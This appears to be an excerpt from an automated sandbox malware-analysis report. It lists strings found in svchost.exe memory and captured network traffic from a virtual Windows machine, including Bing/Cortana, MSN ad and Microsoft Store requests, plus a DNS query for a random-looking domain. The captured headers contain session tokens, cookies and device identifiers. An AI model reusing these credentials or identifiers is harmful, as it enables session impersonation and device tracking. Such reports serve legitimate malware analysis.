Source: svchost.exe, 00000017.00000003.636823308.00000212C0B9A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.636845736.00000212C0BAB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.636914359.00000212C1002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.636877259.00000212C0B81000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.636758222.00000212C1002000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.hotspotshield.com/terms/
Source: svchost.exe, 00000017.00000003.636823308.00000212C0B9A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.636845736.00000212C0BAB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.636914359.00000212C1002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.636877259.00000212C0B81000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.636758222.00000212C1002000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.pango.co/privacy
Source: svchost.exe, 00000017.00000003.645408759.00000212C1002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.645180496.00000212C0BB6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.645121752.00000212C0BB6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.645374703.00000212C0B81000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.645301524.00000212C0BA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.tiktok.com/legal/report/feedback

Source: unknown

HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitContent-type: text/xmlX-MSEdge-ExternalExpType: JointCoordX-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,d-thshldspcl40X-PositionerType: DesktopX-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-BM-DTZ: -480X-BM-FirstEnabledTime: 132061387448759736X-DeviceID: 0100748C09001CEAX-BM-DeviceScale: 100X-Search-TimeZone: Bias=480; StandardBias=0; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-BM-DeviceDimensionsLogical: 1232x1024X-BM-DeviceDimensions: 1232x1024X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAARa1E%2BxM1GZ4gn6pDn3APGPBd2d5h0M0t8vWgduHknAF4CuVF8BdGFEsNfwEKsAarX8Z7bQ64h6dhmJf04baM2e/Pda5Ys1YIWudUaLf1Q22V8bLB9ZL9tCDNH5gAX8oIHkiPRSLDvLze6jHTN38Xp7L6LMfWC2cG7Jq%2BuBqn1BLvyw0WWIDCEFVIEpRnBbRocBqEr%2BYZei%2BUP0L4dKx6isIE/BiAJA/MU7M0Y2cmOYjolXfCG/CSm01r9UCtGdwuViQd5AEsTONQ5SxZ8e8JbBit83IdjrCKhCi7kSfk/8o5bzZEi%2BQWR6efIUSnL4eY0Obw1BSbET5Vq1jCBcTD2cDZgAACO/loQylKFkHqAFGQyVfBEpS7RL6iwJW51mrzWZVi3Z5zMfZe8hhsgqodsWOn1HUS65JIXdUTF3HqbN3oDgdsnOzBr097uz9iIgqXWaPh3kx9CyUZ84h6yQ9Iauh10fV2e88qmzGrtZ0LP/aABK3GmiitF9NbAnQDCQGXVLTyHZ8AXwkiJAU0FABFw/Hc2khswrjSGSIAn9ykP8Kb72G2jXPPOjnYYvlY1afbpGjcvtSG/j6lxojtzFE7/Yi39SFLN7j9fElE0/A/XV55Ol3Dj7aO5GnKwDXyIiPHMHP3O%2BEIsCx4q2i8icZHtE0YXelO9Zs63Ak/5vdpE0MBdIW69pboYmhwvSr94SGj0OkpjGJRkz33tcqbi12mtFkRRg3V3Z38HgVpACRJBYhpdHi62DmUG%2Bru/4ALiiP9RILmJ1yN5rEGY0zDa7IzdcCTpym56Yb/OJ2c1CZxrOK6MzGVMWJ3iolVqEB7XY9gu56Qa4AYAOcmDEMo/4XcOycuyKs5%2Bzwi2%2BQPzyQ4%2BsfOvDqAHgm%2BQLlhucHFzwOYegTle6meyPEPtOmwOZEKuDrcHb79X7u1AE%3D%26p%3DX-Agent-DeviceId: 0100748C09001CEAX-BM-CBT: 1646756769X-Device-isOptin: trueX-Device-Touch: falseX-Device-ClientSession: 7F5B29081F5049808846537278FF1D4AX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderAccept: */*Accept-Language: en-USAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: www.bing.comContent-Length: 81571Connection: Keep-AliveCache-Control: no-cacheCookie: MUID=54AD14FB4D1E4A6C815A867991009454; _SS=CPID=1658322333236&AC=1&CPH=4ef661f2

Source: unknown

DNS traffic detected: queries for: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com

Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=314559&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220720T130532Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=446475071cdd48e6b5018e49dc2e3854&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1610953&metered=false&nettype=ethernet&npid=sc-314559&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&smBiosDm=VMware7%2C1&tl=2&tsu=1610953&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6Cache-Control: no-cacheMS-CV: 4PoDHLTDLkyF8Keq.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220720T130532Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=74993b9490654fd19088c8cbe16dd7f8&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1610953&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=VMware7%2C1&tl=2&tsu=1610953&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6Cache-Control: no-cacheMS-CV: 4PoDHLTDLkyF8Keq.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.10288.13753891519397067.8011a592-e549-44a6-8073-41dcd83eddbe.12bb65f7-1014-4469-bb2e-59f575e79b05?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.2052.9007199266247846.b5c49955-e050-4553-b8e4-0e223ed6c5a1.a0c3decd-308f-4f06-bcfb-2aa4f3afe248?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.16574.13571498826857201.00a9d390-581f-492c-b148-b2ce81649480.6a6f592e-efa9-4bb0-b008-7c3422ab3313?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.15881.13753891519397067.8011a592-e549-44a6-8073-41dcd83eddbe.bcf361e4-21f7-429d-877a-6c55c1b655ff?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.18694.9007199266247846.b5c49955-e050-4553-b8e4-0e223ed6c5a1.4e8e78d2-c2c2-4c02-8d8c-46ac3b2419e7?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.18858.9007199266246227.c596c546-6fcb-4260-935c-19bc24b971ef.1b03c26f-1753-4221-9ab1-4581f098723d?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.20893.13571498826857201.00a9d390-581f-492c-b148-b2ce81649480.acc28f88-50de-4aaf-abfc-ad1da8b04cd0?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.39478.14495311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.8ad1b690-ff36-44fa-8afc-0dc5bed1273c?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.40093.9007199266285780.3d16d9fa-052b-42c5-ba7d-a5688e3dda24.e6964d6a-18a4-4746-9238-9f0acc233a65?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.256.14495311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.ca4cbefc-0ab0-4144-90c1-07f5250c8c21?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.49525.13510798887047136.8a1815b2-017c-48c8-80cc-ca4d1ae5c8cf.2f6b9bdf-a4fc-42d8-aea0-65c437755b78?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.58298.9007199266285780.3d16d9fa-052b-42c5-ba7d-a5688e3dda24.55988ee1-bd9b-4322-980a-a610abdc7713?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.616.13510798887047136.8a1815b2-017c-48c8-80cc-ca4d1ae5c8cf.d81cfd95-c9fd-48e0-8fc3-36ff7b9e590a?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.15982.13510798883386282.38bb6176-27af-4000-85dd-12a4c12514f2.7bbbe321-5273-45d0-814e-74f2065197d3?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.64128.9007199266246227.c596c546-6fcb-4260-935c-19bc24b971ef.d58015ff-2fcf-4113-975b-e873039b6d86?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.13224.9007199266243744.1d2d3767-9bde-47ad-95c6-81ccd5714dd0.9547b9f0-b1dc-4352-9dc9-7ea6f4eef5c3?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.10318.9007199266246761.cc710c1e-2e5d-4241-97cb-d944f43f9af1.8cf0ef1a-60ff-4508-85ab-fd3d7f02c6a3?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.16957.14618985536919905.4b30e4f3-f7a1-4421-840c-2cc97b10e8e0.aef04b90-a221-4ea5-a05d-0d51ac792471?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.18124.9007199266244427.c75d2ced-a383-40dc-babd-1ad2ceb13c86.afc6c372-c7a8-4eda-94fb-541bbb081d14?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.19460.9007199266243744.1d2d3767-9bde-47ad-95c6-81ccd5714dd0.304469a1-c8b6-4cdc-aa11-eaa96e2fdfd6?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.23070.9007199266246761.cc710c1e-2e5d-4241-97cb-d944f43f9af1.8e7acf32-4622-490b-b63f-0ba9c0d9a24e?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.31225.13576748414566955.3d986480-8c1e-4271-9c7c-a90619002084.3ffd9abd-094d-4594-b6c3-8e079298b84b?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.31660.13925855090824389.09f473d9-ce97-499c-9d53-c21e8f64ee62.9cf7ca2f-497e-4cb1-be08-431c9fcc4d54?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.32938.13925855090824389.09f473d9-ce97-499c-9d53-c21e8f64ee62.721cfb02-7935-45dc-9d66-2d6e6b2ff76c?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.41671.13634052595610511.c45457c9-b4af-46b0-8e61-8d7c0aec3f56.86b1d82d-8b47-4bda-99fc-8a1db0a7ac9d?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.5075.9007199266244427.c75d2ced-a383-40dc-babd-1ad2ceb13c86.f329a73d-1ae8-4445-aa4c-bf40f3c5d62d?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.51843.9007199266243449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.c13e8407-eaf8-447a-a5d6-9abd8bc2c1f3?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.54145.14618985536919905.4b30e4f3-f7a1-4421-840c-2cc97b10e8e0.0df01b4e-7fca-47eb-b3d7-95ba7990754d?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.54562.13634052595610511.c45457c9-b4af-46b0-8e61-8d7c0aec3f56.24af4abe-62f8-404b-b1a9-ee8fe4d32d94?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.55990.13510798886747090.a0953092-5fc3-46f0-aefa-796cb3a9b90b.1c9f2174-7e18-48ba-af90-e569a2444a83?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.56668.13510798883386282.38bb6176-27af-4000-85dd-12a4c12514f2.a2d9522a-f7d1-4f21-9ea4-8ba298101695?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.59367.13510798885854323.dbec43fa-fcea-4036-9b1c-96de66922c18.da850a8e-5b3f-49fd-b3dc-6a8c0db400e4?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.62687.13510798885854323.6a8c11ad-84e9-4247-9ba9-ab3742bdbb87.e61dfadd-3bdd-4f66-beb1-6bb763b60b02?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.65344.13576748414566955.3d986480-8c1e-4271-9c7c-a90619002084.2a7e9f85-6e2d-4bc7-ad81-13196f5baf00?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.8341.13510798886747090.a0953092-5fc3-46f0-aefa-796cb3a9b90b.fc0c6be7-c064-44dc-a7df-81e7097e3c93?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.7873.9007199266243449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.7885dc21-4015-4284-a596-d3d24cf6c1b8?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /proactive/v2/spark?cc=US&setLang=en-US HTTP/1.1X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-Device-IsBatteryCertified: falseX-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-Device-IsBatteryEnabled: falseX-Device-NetworkType: ethernetX-BM-DTZ: -420X-BM-FirstEnabledTime: 132061387448759736X-DeviceID: 0100748C09001CEAX-VoiceActivationOn: falseX-Device-AudioCapture: Microphone (High Definition Audio Device)X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAASm/%2BKkOIy2IDEmL7wJaocVztlvrDLH1R9ezKTpUY8yOzWIRyKxk86OOiGu7K4YsEqi4zJow8lBJEtL9K41AvXlyerrcc1zhXU3oKWomAsxLo1VzI8xXSOPY03dpl5pmWLUeOoWrAgRQbKCkEcXz6tWU9tf416fEFBtingH7GQtooa3tf%2BCP2hiGbG/gG402piZvz/D6iL0a4L6YizKj5y2Lc5fP3hjRW4fGUx4r/YHefwKfl9Kbc3GKvUQDfME10nRuJMuKOMh%2BRhFk8RrZB8ObxJvYIuKt8wFucXjE/7yLn1crpg/NThlysedDBpmHkMRhMM78hFugqmumxJH08bkDZgAACKWv9jZMAFkJqAHq1AOHZK9S/YVvqnKa7OZjFooWPz75dtV%2BEmzNJiz6RaMe67eqcYxCRyV3/znajHtvsp4QPdCjqHF%2B7qmQ5DsUw1L7%2BwJ22/mEWXDsXrEzqQqOkVIuvfwdEuBRm4rliUKoFy3IVPXb3y8KFT9cNk/FBqprBqoQ5iNIbHTuLVkIYYAA3HL2mTJ04tTDM4WG8aymFdIPQQWiGyMHiUjTUSa26p5YRCDpmcyvPRRcP/v1SG6XKUMKk0ZJaY9ot67SkXHBgRSrypdDjSSJo7xbszAjWKnDYNOu8sJ06UaOvOe%2BM2i2ge3LpDksrajL3uODwF9bkG6IIpzcIa6w8p9vhzBcRlW6TQnZJDfrF9HB2fOc82nrmjA/sLPmjtmRcaZ02CBRIgw5TdtOlMahCJ4XKYuxEMhondbubIVh3QcotOlqO%2BlJ71fGMM8gJatt9JHUWjQdCdtwFdhlvQmNf7piLBHi7og55E7DkT2x7jnlqntO87jphaKlUCVBPQkEuk4Di3iZn9k4WO4hyBMmqwkaHsx98tat99r3Fn1LmJUEnTtHqB/KFmNUZNsC1gE%3D%26p%3DX-Agent-DeviceId: 0100748C09001CEAX-BM-CBT: 1658322332User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134X-Device-isOptin: trueAccept-language: en-US, enX-Device-IsEnergyHero: falseX-Device-Touch: falseX-Device-ClientSession: F74EDC4E6BFE417981B96292DC090A6FX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderHost: www.bing.comConnection: Keep-AliveCookie: MUID=54AD14FB4D1E4A6C815A867991009454
